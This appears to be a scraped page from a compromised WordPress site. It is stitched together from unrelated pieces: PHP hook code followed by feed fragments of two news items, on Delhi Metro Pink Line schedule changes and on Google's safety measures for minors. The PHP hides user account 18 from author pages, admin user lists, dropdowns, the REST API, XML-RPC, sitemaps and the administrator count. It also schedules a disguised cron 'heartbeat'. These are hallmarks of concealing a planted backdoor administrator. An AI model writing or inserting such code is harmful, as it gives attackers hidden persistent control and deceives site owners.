add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post DMRC announces changes in the schedule of Pink Line appeared first on The Edge Media.
]]>To integrate the signalling system between recently opened Trilokpuri-Sanjay Lake and Mayur Vihar Pocket-1 section of Pink Line, the first and last train services to be effective from the night of 16.08.21 till 10.09.2021 will be as per given below timings,” the DMRC tweet said.
Check the tweet here :
“First train service from both the ends (Majlis Park and Shiv Vihar) will commence at 6:30 AM (instead of present 6:00 AM). Similarly, the last train service from both the ends will start at 10:00 PM (instead of 11:00 PM at present),” It tweeted further, explaining the changes.
The DMRC said that on Sundays, services from both the ends will continue to start at 8am, but the last train from both the ends will start at 10pm instead of the current 11pm time.
“Normal first and last train services from 6:00 AM and 11:00 PM on Pink Line will resume from 11th September 2021 onwards,” the DMRC further said.
The Pink Line became the longest operational corridor of the Delhi Metro network after a small section of the 59-km-long corridor was inaugurated earlier this month. The section of 289 metres between Mayur Vihar Pocket 1 and Trilokpuri Sanjay Lake stations was inaugurated on August 6.
The post DMRC announces changes in the schedule of Pink Line appeared first on The Edge Media.
]]>The post Google unveils a series of online safety measures appeared first on The Edge Media.
]]>“As kids and teens spend more time online, parents, educators, child safety and privacy experts, and policy makers are rightly concerned about how to keep them safe,” said Google product and user experience director Mindy Brooks.
Here’s how the image request can be sent to Google:
The company said that it will allow users under the age of 18 to request for removal of their images from Google search results.
It also said that the parents or guardians can also make the request on behalf of children if they are not able to do so on their own.
Google, however, said that the image won’t be removed from the web. “Of course, removing an image from search doesn’t remove it from the web, but we believe this change will help give young people more control of their images online,” said Brooks.
The search giant is also making “safe search” as the default setting for users under 18, which up to now had been the case only for under-13 users.
The changes are also being implemented on its apps including YouTube, Google Search and Google Assistant. On YouTube, content from 13- to 17-year-olds will be private by default, the tech giant said.
YouTube will also, by default, include reminders for younger users to take a break and to go to sleep at bedtime as well as disable the autoplay of consecutive videos.
When it comes to advertisements, Google is changing the way it shows ads to minors, blocking any “age-sensitive” categories and banning targeting based on the age, gender or interests of people under 18.
The move, according to the company, will help younger users make informed decisions about their online footprint and digital privacy.
The company also said it would no longer collect location history for the age group.
Protections for children in online services have gained a lot of attention in Silicon Valley lately. Apple last week announced new protections against explicit images in its Messages app.
The post Google unveils a series of online safety measures appeared first on The Edge Media.
]]>